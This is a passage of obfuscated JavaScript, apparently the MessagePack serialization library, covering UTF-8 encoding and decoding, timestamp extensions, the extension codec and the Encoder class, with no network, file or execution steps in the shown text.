| const _0x10b470 = _0x3c5b2e.length; | |
| let _0x1d9289 = 0x0, | |
| _0x4b0012 = 0x0; | |
| while (_0x4b0012 < _0x10b470) { | |
| let _0x3a1190 = _0x3c5b2e.charCodeAt(_0x4b0012++); | |
| if ((_0x3a1190 & 0xffffff80) === 0x0) { | |
| _0x1d9289++; | |
| continue; | |
| } else if ((_0x3a1190 & 0xfffff800) === 0x0) { | |
| _0x1d9289 += 0x2; | |
| } else { | |
| if (_0x3a1190 >= 0xd800 && _0x3a1190 <= 0xdbff) { | |
| if (_0x4b0012 < _0x10b470) { | |
| const _0x154091 = _0x3c5b2e.charCodeAt(_0x4b0012); | |
| if ((_0x154091 & 0xfc00) === 0xdc00) { | |
| ++_0x4b0012; | |
| _0x3a1190 = ((_0x3a1190 & 0x3ff) << 0xa) + (_0x154091 & 0x3ff) + 0x10000; | |
| } | |
| } | |
| } | |
| if ((_0x3a1190 & 0xffff0000) === 0x0) { | |
| _0x1d9289 += 0x3; | |
| } else { | |
| _0x1d9289 += 0x4; | |
| } | |
| } | |
| } | |
| return _0x1d9289; | |
| } | |
| function utf8EncodeJs(_0x57e5be, _0x26e654, _0x2ef2d1) { | |
| const _0x2a0b26 = _0x57e5be.length; | |
| let _0x4a2d75 = _0x2ef2d1, | |
| _0x535e2a = 0x0; | |
| while (_0x535e2a < _0x2a0b26) { | |
| let _0x5807af = _0x57e5be.charCodeAt(_0x535e2a++); | |
| if ((_0x5807af & 0xffffff80) === 0x0) { | |
| _0x26e654[_0x4a2d75++] = _0x5807af; | |
| continue; | |
| } else if ((_0x5807af & 0xfffff800) === 0x0) { | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0x6 & 0x1f | 0xc0; | |
| } else { | |
| if (_0x5807af >= 0xd800 && _0x5807af <= 0xdbff) { | |
| if (_0x535e2a < _0x2a0b26) { | |
| const _0x113730 = _0x57e5be.charCodeAt(_0x535e2a); | |
| if ((_0x113730 & 0xfc00) === 0xdc00) { | |
| ++_0x535e2a; | |
| _0x5807af = ((_0x5807af & 0x3ff) << 0xa) + (_0x113730 & 0x3ff) + 0x10000; | |
| } | |
| } | |
| } | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0xc & 0xf | 0xe0; | |
| if ((_0x5807af & 0xffff0000) === 0x0) { | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0x6 & 0x3f | 0x80; | |
| } else { | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0x12 & 0x7 | 0xf0; | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0xc & 0x3f | 0x80; | |
| _0x26e654[_0x4a2d75++] = _0x5807af >> 0x6 & 0x3f | 0x80; | |
| } | |
| } | |
| _0x26e654[_0x4a2d75++] = _0x5807af & 0x3f | 0x80; | |
| } | |
| } | |
| var sharedTextEncoder = new TextEncoder(), | |
| TEXT_ENCODER_THRESHOLD = 0x32; | |
| function utf8EncodeTE(_0x4098ed, _0xf82218, _0x4b7515) { | |
| sharedTextEncoder.encodeInto(_0x4098ed, _0xf82218.subarray(_0x4b7515)); | |
| } | |
| function utf8Encode(_0x1841c2, _0x57bfd4, _0x203006) { | |
| if (_0x1841c2.length > TEXT_ENCODER_THRESHOLD) { | |
| utf8EncodeTE(_0x1841c2, _0x57bfd4, _0x203006); | |
| } else { | |
| utf8EncodeJs(_0x1841c2, _0x57bfd4, _0x203006); | |
| } | |
| } | |
| var CHUNK_SIZE = 0x1000; | |
| function utf8DecodeJs(_0x904e06, _0x15587e, _0xc9daa3) { | |
| let _0x3cc862 = _0x15587e; | |
| const _0x3d4ee0 = _0x3cc862 + _0xc9daa3, | |
| _0x51ce6c = []; | |
| let _0x270cbc = ''; | |
| while (_0x3cc862 < _0x3d4ee0) { | |
| const _0x9400bb = _0x904e06[_0x3cc862++]; | |
| if ((_0x9400bb & 0x80) === 0x0) { | |
| _0x51ce6c.push(_0x9400bb); | |
| } else if ((_0x9400bb & 0xe0) === 0xc0) { | |
| const _0x21b8df = _0x904e06[_0x3cc862++] & 0x3f; | |
| _0x51ce6c.push((_0x9400bb & 0x1f) << 0x6 | _0x21b8df); | |
| } else if ((_0x9400bb & 0xf0) === 0xe0) { | |
| const _0x5e70f3 = _0x904e06[_0x3cc862++] & 0x3f, | |
| _0x56abd9 = _0x904e06[_0x3cc862++] & 0x3f; | |
| _0x51ce6c.push((_0x9400bb & 0x1f) << 0xc | _0x5e70f3 << 0x6 | _0x56abd9); | |
| } else if ((_0x9400bb & 0xf8) === 0xf0) { | |
| const _0x5a468b = _0x904e06[_0x3cc862++] & 0x3f, | |
| _0x50d7ae = _0x904e06[_0x3cc862++] & 0x3f, | |
| _0x54ec26 = _0x904e06[_0x3cc862++] & 0x3f; | |
| let _0xa1beb = (_0x9400bb & 0x7) << 0x12 | _0x5a468b << 0xc | _0x50d7ae << 0x6 | _0x54ec26; | |
| if (_0xa1beb > 0xffff) { | |
| _0xa1beb -= 0x10000; | |
| _0x51ce6c.push(_0xa1beb >>> 0xa & 0x3ff | 0xd800); | |
| _0xa1beb = 0xdc00 | _0xa1beb & 0x3ff; | |
| } | |
| _0x51ce6c.push(_0xa1beb); | |
| } else { | |
| _0x51ce6c.push(_0x9400bb); | |
| } | |
| if (_0x51ce6c.length >= CHUNK_SIZE) { | |
| _0x270cbc += String.fromCharCode(..._0x51ce6c); | |
| _0x51ce6c.length = 0x0; | |
| } | |
| } | |
| if (_0x51ce6c.length > 0x0) { | |
| _0x270cbc += String.fromCharCode(..._0x51ce6c); | |
| } | |
| return _0x270cbc; | |
| } | |
| var sharedTextDecoder = new TextDecoder(), | |
| TEXT_DECODER_THRESHOLD = 0xc8; | |
| function utf8DecodeTD(_0x38c7cc, _0x40b585, _0x346ce7) { | |
| const _0x51fa29 = _0x38c7cc.subarray(_0x40b585, _0x40b585 + _0x346ce7); | |
| return sharedTextDecoder.decode(_0x51fa29); | |
| } | |
| function utf8Decode(_0x4f0283, _0x5d4b28, _0x329456) { | |
| if (_0x329456 > TEXT_DECODER_THRESHOLD) { | |
| return utf8DecodeTD(_0x4f0283, _0x5d4b28, _0x329456); | |
| } | |
| return utf8DecodeJs(_0x4f0283, _0x5d4b28, _0x329456); | |
| } | |
| var ExtData = class { | |
| constructor(_0x11075f, _0x2582f9) { | |
| this.type = _0x11075f; | |
| this.data = _0x2582f9; | |
| } | |
| }, | |
| DecodeError = class _DecodeError extends Error { | |
| constructor(_0x583fda) { | |
| super(_0x583fda); | |
| const _0x363417 = Object.create(_DecodeError.prototype); | |
| Object.setPrototypeOf(this, _0x363417); | |
| Object.defineProperty(this, "name", { | |
| configurable: true, | |
| enumerable: false, | |
| value: _DecodeError.name | |
| }); | |
| } | |
| }, | |
| UINT32_MAX = 0xffffffff; | |
| function setUint64(_0x353d5d, _0x59fab3, _0x320b9e) { | |
| const _0x8302f5 = _0x320b9e / 0x100000000, | |
| _0x17eecd = _0x320b9e; | |
| _0x353d5d.setUint32(_0x59fab3, _0x8302f5); | |
| _0x353d5d.setUint32(_0x59fab3 + 0x4, _0x17eecd); | |
| } | |
| function setInt64(_0x3a3031, _0x501930, _0x1a85cc) { | |
| const _0x5e7a15 = Math.floor(_0x1a85cc / 0x100000000), | |
| _0x12a86f = _0x1a85cc; | |
| _0x3a3031.setUint32(_0x501930, _0x5e7a15); | |
| _0x3a3031.setUint32(_0x501930 + 0x4, _0x12a86f); | |
| } | |
| function getInt64(_0x5ae068, _0x5655dd) { | |
| const _0x57244f = _0x5ae068.getInt32(_0x5655dd), | |
| _0x2c6966 = _0x5ae068.getUint32(_0x5655dd + 0x4); | |
| return _0x57244f * 0x100000000 + _0x2c6966; | |
| } | |
| function getUint64(_0x3388e9, _0xb1ffb8) { | |
| const _0x25abdf = _0x3388e9.getUint32(_0xb1ffb8), | |
| _0x151cb1 = _0x3388e9.getUint32(_0xb1ffb8 + 0x4); | |
| return _0x25abdf * 0x100000000 + _0x151cb1; | |
| } | |
| var EXT_TIMESTAMP = -0x1, | |
| TIMESTAMP32_MAX_SEC = 4294967295, | |
| TIMESTAMP64_MAX_SEC = 17179869183; | |
| function encodeTimeSpecToTimestamp({ | |
| sec: _0x40a3f6, | |
| nsec: _0x1b7301 | |
| }) { | |
| if (_0x40a3f6 >= 0x0 && _0x1b7301 >= 0x0 && _0x40a3f6 <= TIMESTAMP64_MAX_SEC) { | |
| if (_0x1b7301 === 0x0 && _0x40a3f6 <= TIMESTAMP32_MAX_SEC) { | |
| const _0x2a7d11 = new Uint8Array(0x4), | |
| _0x141433 = new DataView(_0x2a7d11.buffer); | |
| _0x141433.setUint32(0x0, _0x40a3f6); | |
| return _0x2a7d11; | |
| } else { | |
| const _0x23efd9 = _0x40a3f6 / 0x100000000, | |
| _0x3a06ed = _0x40a3f6 & 0xffffffff, | |
| _0x5c44b1 = new Uint8Array(0x8), | |
| _0x4f9ab6 = new DataView(_0x5c44b1.buffer); | |
| _0x4f9ab6.setUint32(0x0, _0x1b7301 << 0x2 | _0x23efd9 & 0x3); | |
| _0x4f9ab6.setUint32(0x4, _0x3a06ed); | |
| return _0x5c44b1; | |
| } | |
| } else { | |
| const _0xe7e0fc = new Uint8Array(0xc), | |
| _0xa95023 = new DataView(_0xe7e0fc.buffer); | |
| _0xa95023.setUint32(0x0, _0x1b7301); | |
| setInt64(_0xa95023, 0x4, _0x40a3f6); | |
| return _0xe7e0fc; | |
| } | |
| } | |
| function encodeDateToTimeSpec(_0x4c3f67) { | |
| const _0x2068bc = _0x4c3f67.getTime(), | |
| _0x4426c5 = Math.floor(_0x2068bc / 0x3e8), | |
| _0xa3ca63 = (_0x2068bc - _0x4426c5 * 0x3e8) * 0xf4240, | |
| _0x38dc64 = Math.floor(_0xa3ca63 / 0x3b9aca00); | |
| return { | |
| sec: _0x4426c5 + _0x38dc64, | |
| nsec: _0xa3ca63 - _0x38dc64 * 0x3b9aca00 | |
| }; | |
| } | |
| function encodeTimestampExtension(_0xfab2b1) { | |
| if (_0xfab2b1 instanceof Date) { | |
| const _0x3b3de1 = encodeDateToTimeSpec(_0xfab2b1); | |
| return encodeTimeSpecToTimestamp(_0x3b3de1); | |
| } else { | |
| return null; | |
| } | |
| } | |
| function decodeTimestampToTimeSpec(_0x274ea3) { | |
| const _0x285241 = new DataView(_0x274ea3.buffer, _0x274ea3.byteOffset, _0x274ea3.byteLength); | |
| switch (_0x274ea3.byteLength) { | |
| case 0x4: | |
| { | |
| const _0x29a841 = _0x285241.getUint32(0x0), | |
| _0x5d7502 = 0x0; | |
| return { | |
| sec: _0x29a841, | |
| nsec: _0x5d7502 | |
| }; | |
| } | |
| case 0x8: | |
| { | |
| const _0x4a662c = _0x285241.getUint32(0x0), | |
| _0x22d869 = _0x285241.getUint32(0x4), | |
| _0x4f243d = (_0x4a662c & 0x3) * 0x100000000 + _0x22d869, | |
| _0x305fe8 = _0x4a662c >>> 0x2; | |
| return { | |
| sec: _0x4f243d, | |
| nsec: _0x305fe8 | |
| }; | |
| } | |
| case 0xc: | |
| { | |
| const _0x55af93 = getInt64(_0x285241, 0x4), | |
| _0x3e1e10 = _0x285241.getUint32(0x0); | |
| return { | |
| sec: _0x55af93, | |
| nsec: _0x3e1e10 | |
| }; | |
| } | |
| default: | |
| throw new DecodeError("Unrecognized data size for timestamp (expected 4, 8, or 12): " + _0x274ea3.length); | |
| } | |
| } | |
| function decodeTimestampExtension(_0x322f0f) { | |
| const _0x13dcc0 = decodeTimestampToTimeSpec(_0x322f0f); | |
| return new Date(_0x13dcc0.sec * 0x3e8 + _0x13dcc0.nsec / 0xf4240); | |
| } | |
| var timestampExtension = { | |
| type: EXT_TIMESTAMP, | |
| encode: encodeTimestampExtension, | |
| decode: decodeTimestampExtension | |
| }, | |
| ExtensionCodec = class { | |
| constructor() { | |
| this.builtInEncoders = []; | |
| this.builtInDecoders = []; | |
| this.encoders = []; | |
| this.decoders = []; | |
| this.register(timestampExtension); | |
| } | |
| register({ | |
| type: _0x1c35c2, | |
| encode: _0x2db7f4, | |
| decode: _0x5a0f62 | |
| }) { | |
| if (_0x1c35c2 >= 0x0) { | |
| this.encoders[_0x1c35c2] = _0x2db7f4; | |
| this.decoders[_0x1c35c2] = _0x5a0f62; | |
| } else { | |
| const _0x12ac39 = -0x1 - _0x1c35c2; | |
| this.builtInEncoders[_0x12ac39] = _0x2db7f4; | |
| this.builtInDecoders[_0x12ac39] = _0x5a0f62; | |
| } | |
| } | |
| tryToEncode(_0x37cec4, _0x541c3b) { | |
| for (let _0x35095e = 0x0; _0x35095e < this.builtInEncoders.length; _0x35095e++) { | |
| const _0x21cafc = this.builtInEncoders[_0x35095e]; | |
| if (_0x21cafc != null) { | |
| const _0x1d2b66 = _0x21cafc(_0x37cec4, _0x541c3b); | |
| if (_0x1d2b66 != null) { | |
| const _0x165a88 = -0x1 - _0x35095e; | |
| return new ExtData(_0x165a88, _0x1d2b66); | |
| } | |
| } | |
| } | |
| for (let _0x37c545 = 0x0; _0x37c545 < this.encoders.length; _0x37c545++) { | |
| const _0x1fe3ea = this.encoders[_0x37c545]; | |
| if (_0x1fe3ea != null) { | |
| const _0x3bbe27 = _0x1fe3ea(_0x37cec4, _0x541c3b); | |
| if (_0x3bbe27 != null) { | |
| const _0x1b1b9b = _0x37c545; | |
| return new ExtData(_0x1b1b9b, _0x3bbe27); | |
| } | |
| } | |
| } | |
| if (_0x37cec4 instanceof ExtData) { | |
| return _0x37cec4; | |
| } | |
| return null; | |
| } | |
| decode(_0x123ff3, _0x40419c, _0x2486b9) { | |
| const _0x46a24f = _0x40419c < 0x0 ? this.builtInDecoders[-0x1 - _0x40419c] : this.decoders[_0x40419c]; | |
| if (_0x46a24f) { | |
| return _0x46a24f(_0x123ff3, _0x40419c, _0x2486b9); | |
| } | |
| return new ExtData(_0x40419c, _0x123ff3); | |
| } | |
| }; | |
| ExtensionCodec.defaultCodec = new ExtensionCodec(); | |
| function isArrayBufferLike(_0x512261) { | |
| if (_0x512261 instanceof ArrayBuffer) { | |
| return true; | |
| } | |
| if (!(typeof SharedArrayBuffer !== "undefined")) { | |
| return false; | |
| } | |
| return _0x512261 instanceof SharedArrayBuffer; | |
| } | |
| function ensureUint8Array(_0xf9943b) { | |
| if (_0xf9943b instanceof Uint8Array) { | |
| return _0xf9943b; | |
| } else if (ArrayBuffer.isView(_0xf9943b)) { | |
| return new Uint8Array(_0xf9943b.buffer, _0xf9943b.byteOffset, _0xf9943b.byteLength); | |
| } else { | |
| if (isArrayBufferLike(_0xf9943b)) { | |
| return new Uint8Array(_0xf9943b); | |
| } | |
| return Uint8Array.from(_0xf9943b); | |
| } | |
| } | |
| var DEFAULT_MAX_DEPTH = 0x64, | |
| DEFAULT_INITIAL_BUFFER_SIZE = 0x800, | |
| Encoder = class _Encoder { | |
| constructor(_0x46771f) { | |
| this.entered = false; | |
| this.extensionCodec = _0x46771f?.["extensionCodec"] ?? ExtensionCodec.defaultCodec; | |
| this.context = _0x46771f?.["context"]; | |
| this.useBigInt64 = _0x46771f?.["useBigInt64"] ?? false; | |
| this.maxDepth = _0x46771f?.["maxDepth"] ?? DEFAULT_MAX_DEPTH; | |
| this.initialBufferSize = _0x46771f?.["initialBufferSize"] ?? DEFAULT_INITIAL_BUFFER_SIZE; | |
| this.sortKeys = _0x46771f?.["sortKeys"] ?? false; | |
| this.forceFloat32 = _0x46771f?.["forceFloat32"] ?? false; | |
| this.ignoreUndefined = _0x46771f?.["ignoreUndefined"] ?? false; | |
| this.forceIntegerToFloat = _0x46771f?.["forceIntegerToFloat"] ?? false; | |
| this.pos = 0x0; | |
| this.view = new DataView(new ArrayBuffer(this.initialBufferSize)); | |
| this.bytes = new Uint8Array(this.view.buffer); | |
| } | |
| clone() { | |
| return new _Encoder({ | |
| extensionCodec: this.extensionCodec, | |
| context: this.context, | |
| useBigInt64: this.useBigInt64, | |
| maxDepth: this.maxDepth, | |
| initialBufferSize: this.initialBufferSize, | |
| sortKeys: this.sortKeys, | |
| forceFloat32: this.forceFloat32, | |
| ignoreUndefined: this.ignoreUndefined, | |
| forceIntegerToFloat: this.forceIntegerToFloat | |
| }); | |
| } | |
| reinitializeState() { | |
| this.pos = 0x0; | |
| } | |
| encodeSharedRef(_0x173017) { | |
| if (this.entered) { | |
| const _0x26f987 = this.clone(); | |
| return _0x26f987.encodeSharedRef(_0x173017); | |
| } | |
| try { | |
| this.entered = true; | |
| this.reinitializeState(); | |
| this.doEncode(_0x173017, 0x1); | |
| return this.bytes.subarray(0x0, this.pos); | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| encode(_0x4861f9) { | |
| if (this.entered) { | |
| const _0x22f5ff = this.clone(); | |
| return _0x22f5ff.encode(_0x4861f9); | |
| } | |
| try { | |
| this.entered = true; | |
| this.reinitializeState(); | |
| this.doEncode(_0x4861f9, 0x1); | |
| return this.bytes.slice(0x0, this.pos); | |
| } finally { | |
| this.entered = false; | |
| } | |
| } | |
| doEncode(_0x2eff69, _0x3b102f) { | |
| if (_0x3b102f > this.maxDepth) { | |
| throw new Error("Too deep objects in depth " + _0x3b102f); | |
| } | |
| if (_0x2eff69 == null) { | |
| this.encodeNil(); | |
| } else if (typeof _0x2eff69 === "boolean") { | |
| this.encodeBoolean(_0x2eff69); | |
| } else if (typeof _0x2eff69 === "number") { | |
| if (!this.forceIntegerToFloat) { | |
| this.encodeNumber(_0x2eff69); | |
| } else { | |
| this.encodeNumberAsFloat(_0x2eff69); | |
| } | |
| } else if (typeof _0x2eff69 === "string") { | |
| this.encodeString(_0x2eff69); | |
| } else if (this.useBigInt64 && typeof _0x2eff69 === "bigint") { | |
| this.encodeBigInt64(_0x2eff69); | |
| } else { | |
| this.encodeObject(_0x2eff69, _0x3b102f); | |
| } | |
| } | |
| ensureBufferSizeToWrite(_0x16c1ce) { | |
| const _0xf55b90 = this.pos + _0x16c1ce; | |
| if (this.view.byteLength < _0xf55b90) { | |
| this.resizeBuffer(_0xf55b90 * 0x2); | |
| } | |
| } | |
| resizeBuffer(_0x43a89b) { | |
| const _0x486137 = new ArrayBuffer(_0x43a89b), | |
| _0x4d66a7 = new Uint8Array(_0x486137), | |
| _0x4f9ad1 = new DataView(_0x486137); | |
| _0x4d66a7.set(this.bytes); | |
| this.view = _0x4f9ad1; | |
| this.bytes = _0x4d66a7; | |
| } | |
| encodeNil() { | |
| this.writeU8(0xc0); | |
| } | |
| encodeBoolean(_0x596e95) { | |
| if (_0x596e95 === false) { | |
| this.writeU8(0xc2); | |
| } else { | |
| this.writeU8(0xc3); | |
| } | |
| } | |
| encodeNumber(_0x13eeb6) { | |
| if (!this.forceIntegerToFloat && Number.isSafeInteger(_0x13eeb6)) { | |
| if (_0x13eeb6 >= 0x0) { | |
| if (_0x13eeb6 < 0x80) { | |
| this.writeU8(_0x13eeb6); | |
| } else if (_0x13eeb6 < 0x100) { | |
| this.writeU8(0xcc); | |
| this.writeU8(_0x13eeb6); | |
| } else if (_0x13eeb6 < 0x10000) { | |
| this.writeU8(0xcd); | |
| this.writeU16(_0x13eeb6); | |
| } else if (_0x13eeb6 < 0x100000000) { | |
| this.writeU8(0xce); | |
| this.writeU32(_0x13eeb6); | |
| } else if (!this.useBigInt64) { | |
| this.writeU8(0xcf); | |
| this.writeU64(_0x13eeb6); | |
| } else { | |
| this.encodeNumberAsFloat(_0x13eeb6); | |
| } | |
| } else if (_0x13eeb6 >= -0x20) { | |
| this.writeU8(0xe0 | _0x13eeb6 + 0x20); | |
| } else if (_0x13eeb6 >= -0x80) { | |
| this.writeU8(0xd0); | |
| this.writeI8(_0x13eeb6); | |
| } else if (_0x13eeb6 >= -0x8000) { | |
| this.writeU8(0xd1); | |
| this.writeI16(_0x13eeb6); | |
| } else if (_0x13eeb6 >= -0x80000000) { | |
| this.writeU8(0xd2); | |
| this.writeI32(_0x13eeb6); | |
| } else if (!this.useBigInt64) { | |
| this.writeU8(0xd3); | |
| this.writeI64(_0x13eeb6); | |
| } else { | |
| this.encodeNumberAsFloat(_0x13eeb6); | |
| } | |
| } else { | |
| this.encodeNumberAsFloat(_0x13eeb6); | |
| } | |
| } | |
| encodeNumberAsFloat(_0x1c457d) { | |
| if (this.forceFloat32) { | |
| this.writeU8(0xca); | |
| this.writeF32(_0x1c457d); | |
| } else { | |
| this.writeU8(0xcb); | |
| this.writeF64(_0x1c457d); | |
| } | |
| } | |
| encodeBigInt64(_0x498426) { | |
| if (_0x498426 >= BigInt(0x0)) { | |
| this.writeU8(0xcf); | |
| this.writeBigUint64(_0x498426); | |
| } else { | |
| this.writeU8(0xd3); | |
| this.writeBigInt64(_0x498426); | |
| } | |
| } | |
| writeStringHeader(_0xedf7cc) { | |
| if (_0xedf7cc < 0x20) { | |
| this.writeU8(0xa0 + _0xedf7cc); | |
| } else if (_0xedf7cc < 0x100) { | |
| this.writeU8(0xd9); | |
| this.writeU8(_0xedf7cc); | |
| } else if (_0xedf7cc < 0x10000) { | |
| this.writeU8(0xda); | |
| this.writeU16(_0xedf7cc); | |
| } else if (_0xedf7cc < 0x100000000) { | |
| this.writeU8(0xdb); | |
| this.writeU32(_0xedf7cc); | |
| } else { | |
| throw new Error("Too long string: " + _0xedf7cc + " bytes in UTF-8"); | |
| } | |
| } | |
| encodeString(_0x358e37) { | |
| const _0x57a20b = 5, | |
| _0x5b98d5 = utf8Count(_0x358e37); | |
| this["ensureBufferSizeToWrite"](_0x57a20b + _0x5b98d5); | |
| this.writeStringHeader(_0x5b98d5); | |
| utf8Encode(_0x358e37, this.bytes, this.pos); | |
| this.pos += _0x5b98d5; | |
| } | |
| encodeObject(_0xb04c69, _0xa30804) { | |
| const _0x3eee23 = this.extensionCodec.tryToEncode(_0xb04c69, this.context); | |
| if (_0x3eee23 != null) { | |
| this.encodeExtension(_0x3eee23); | |
| } else if (Array.isArray(_0xb04c69)) { | |
| this.encodeArray(_0xb04c69, _0xa30804); | |
| } else if (ArrayBuffer.isView(_0xb04c69)) { | |
| this.encodeBinary(_0xb04c69); | |
| } else if (typeof _0xb04c69 === "object") { | |
| this.encodeMap(_0xb04c69, _0xa30804); | |
| } else { | |
| throw new Error("Unrecognized object: " + Object.prototype.toString.apply(_0xb04c69)); | |
| } | |
| } | |
| encodeBinary(_0x80401e) { | |
| const _0x9295b3 = _0x80401e.byteLength; | |
| if (_0x9295b3 < 0x100) { | |
| this.writeU8(0xc4); | |
| this.writeU8(_0x9295b3); | |
| } else if (_0x9295b3 < 0x10000) { | |
| this.writeU8(0xc5); | |
| this.writeU16(_0x9295b3); | |
| } else if (_0x9295b3 < 0x100000000) { | |
| this.writeU8(0xc6); | |
| this.writeU32(_0x9295b3); | |
| } else { | |
| throw new Error("Too large binary: " + _0x9295b3); | |
| } | |
| const _0x40bbf9 = ensureUint8Array(_0x80401e); | |
| this.writeU8a(_0x40bbf9); | |
| } | |
| encodeArray(_0x3dae0e, _0x42cefc) { | |
| const _0x1437c6 = _0x3dae0e.length; | |
| if (_0x1437c6 < 0x10) { | |
| this.writeU8(0x90 + _0x1437c6); | |
| } else if (_0x1437c6 < 0x10000) { | |
| this.writeU8(0xdc); | |
| this.writeU16(_0x1437c6); | |
| } else if (_0x1437c6 < 0x100000000) { | |
| this.writeU8(0xdd); | |
| this.writeU32(_0x1437c6); | |
| } else { | |
| throw new Error("Too large array: " + _0x1437c6); | |
| } | |
| for (const _0x47aa52 of _0x3dae0e) { | |
| this.doEncode(_0x47aa52, _0x42cefc + 0x1); | |
| } | |
| } | |
| countWithoutUndefined(_0x181118, _0x316dec) { | |
| let _0xac0b74 = 0x0; | |
| for (const _0x56e9f7 of _0x316dec) { | |
| if (_0x181118[_0x56e9f7] !== void 0x0) { | |
| _0xac0b74++; | |
| } | |
| } | |
| return _0xac0b74; | |
| } | |
| encodeMap(_0x51a719, _0x24f600) { | |
| const _0x375175 = Object.keys(_0x51a719); | |
| if (this.sortKeys) { | |
| _0x375175.sort(); | |
| } | |
| const _0x1162e9 = this.ignoreUndefined ? this.countWithoutUndefined(_0x51a719, _0x375175) : _0x375175.length; | |
| if (_0x1162e9 < 0x10) { | |
| this.writeU8(0x80 + _0x1162e9); | |
| } else if (_0x1162e9 < 0x10000) { | |
| this.writeU8(0xde); | |
| this.writeU16(_0x1162e9); | |
| } else if (_0x1162e9 < 0x100000000) { | |
| this.writeU8(0xdf); | |
| this.writeU32(_0x1162e9); | |
| } else { | |
| throw new Error("Too large map object: " + _0x1162e9); | |
| } | |
| for (const _0x479a50 of _0x375175) { | |
| const _0x1dbe93 = _0x51a719[_0x479a50]; | |
| if (!(this.ignoreUndefined && _0x1dbe93 === void 0x0)) { | |
| this.encodeString(_0x479a50); | |
| this.doEncode(_0x1dbe93, _0x24f600 + 0x1); | |
| } | |
| } | |
| } | |
| encodeExtension(_0xc816b9) { | |
| if (typeof _0xc816b9.data === "function") { | |
| const _0x535d13 = _0xc816b9.data(this.pos + 0x6), | |
| _0x337369 = _0x535d13.length; | |
| if (_0x337369 >= 0x100000000) { | |
| throw new Error("Too large extension object: " + _0x337369); | |
| } | |
| this.writeU8(0xc9); | |
| this.writeU32(_0x337369); | |
| this.writeI8(_0xc816b9.type); | |
| this.writeU8a(_0x535d13); | |
| return; | |
| } | |
| const _0x412e02 = _0xc816b9.data.length; | |
| if (_0x412e02 === 0x1) { | |
| this.writeU8(0xd4); | |
| } else if (_0x412e02 === 0x2) { | |
| this.writeU8(0xd5); | |
| } else if (_0x412e02 === 0x4) { | |
| this.writeU8(0xd6); | |
| } else if (_0x412e02 === 0x8) { | |
| this.writeU8(0xd7); | |
| } else if (_0x412e02 === 0x10) { | |
| this.writeU8(0xd8); | |
| } else if (_0x412e02 < 0x100) { | |
| this.writeU8(0xc7); | |
| this.writeU8(_0x412e02); | |
| } else if (_0x412e02 < 0x10000) { | |
| this.writeU8(0xc8); | |
| this.writeU16(_0x412e02); | |
| } else if (_0x412e02 < 0x100000000) { | |
| this.writeU8(0xc9); | |
| this.writeU32(_0x412e02); | |
| } else { | |
| throw new Error("Too large extension object: " + _0x412e02); | |
| } | |
| this.writeI8(_0xc816b9.type); | |
| this.writeU8a(_0xc816b9.data); | |
| } | |
| writeU8(_0x52d34c) { | |
| this["ensureBufferSizeToWrite"](0x1); | |
| this.view.setUint8(this.pos, _0x52d34c); | |
| this.pos++; | |
| } | |
| writeU8a(_0x3b1a8e) { | |
| const _0x43d956 = _0x3b1a8e.length; | |
| this["ensureBufferSizeToWrite"](_0x43d956); | |
| this.bytes.set(_0x3b1a8e, this.pos); | |
| this.pos += _0x43d956; | |
| } | |
| writeI8(_0x14a1e2) { | |
| this["ensureBufferSizeToWrite"](0x1); | |
| this.view.setInt8(this.pos, _0x14a1e2); | |
| this.pos++; | |
| } | |
| writeU16(_0x56d091) { | |
| this["ensureBufferSizeToWrite"](0x2); | |
| this.view.setUint16(this.pos, _0x56d091); | |
| this.pos += 0x2; | |
| } | |
| writeI16(_0xc1f997) { | |
| this["ensureBufferSizeToWrite"](0x2); | |
| this.view.setInt16(this.pos, _0xc1f997); | |
| this.pos += 0x2; | |
| } | |
| writeU32(_0x2529e7) { | |
| this["ensureBufferSizeToWrite"](0x4); | |
| this.view.setUint32(this.pos, _0x2529e7); | |
| this.pos += 0x4; | |
| } | |
| writeI32(_0x4f2c7d) { | |
| this["ensureBufferSizeToWrite"](0x4); | |
| this.view.setInt32(this.pos, _0x4f2c7d); | |
| this.pos += 0x4; | |
| } | |
| writeF32(_0x2e699a) { | |
| this["ensureBufferSizeToWrite"](0x4); | |
| this.view.setFloat32(this.pos, _0x2e699a); | |
| this.pos += 0x4; | |
| } | |
| writeF64(_0x3dd2aa) { | |
| this["ensureBufferSizeToWrite"](0x8); | |
| this.view.setFloat64(this.pos, _0x3dd2aa); | |
| this.pos += 0x8; | |
| } | |
| writeU64(_0x3c2022) { | |
| this["ensureBufferSizeToWrite"](0x8); | |
| setUint64(this.view, this.pos, _0x3c2022); | |
| this.pos += 0x8; | |
| } | |
| writeI64(_0x18a828) { | |
| this["ensureBufferSizeToWrite"](0x8); | |
| setInt64(this.view, this.pos, _0x18a828); | |
| this.pos += 0x8; | |
| } | |
| writeBigUint64(_0x24339c) { | |
| this["ensureBufferSizeToWrite"](0x8); | |
| this.view.setBigUint64(this.pos, _0x24339c); | |
| this.pos += 0x8; | |
| } | |
| writeBigInt64(_0x2c5451) { | |
| this["ensureBufferSizeToWrite"](0x8); | |
| this.view.setBigInt64(this.pos, _0x2c5451); | |
| this.pos += 0x8; | |
| } | |
| }; | |
| function encode(_0x597ac0, _0x51797b) { | |
| const _0x27a37d = new Encoder(_0x51797b); | |
| return _0x27a37d.encodeSharedRef(_0x597ac0); | |
| } | |
| function prettyByte(_0x52ff88) { | |
| return (_0x52ff88 < 0x0 ? '-' : '') + '0x' + Math.abs(_0x52ff88).toString(0x10).padStart(0x2, '0'); | |
| } | |
| var DEFAULT_MAX_KEY_LENGTH = 0x10, | |
| DEFAULT_MAX_LENGTH_PER_KEY = 0x10, | |
| CachedKeyDecoder = class { | |
| constructor(_0x36fe31 = DEFAULT_MAX_KEY_LENGTH, _0x41d292 = DEFAULT_MAX_LENGTH_PER_KEY) { | |
| this.hit = 0x0; | |
| this.miss = 0x0; | |
| this.maxKeyLength = _0x36fe31; | |
| this.maxLengthPerKey = _0x41d292; | |
| this.caches = []; | |
| for (let _0x4431bf = 0x0; _0x4431bf < this.maxKeyLength; _0x4431bf++) { | |
| this.caches.push([]); | |
| } | |
| } | |
| canBeCached(_0x46a017) { | |
| if (!(_0x46a017 > 0x0)) { | |
| return false; | |
| } | |
| return _0x46a017 <= this.maxKeyLength; | |
| } | |
| find(_0x1abe3d, _0x408153, _0x4bc132) { | |
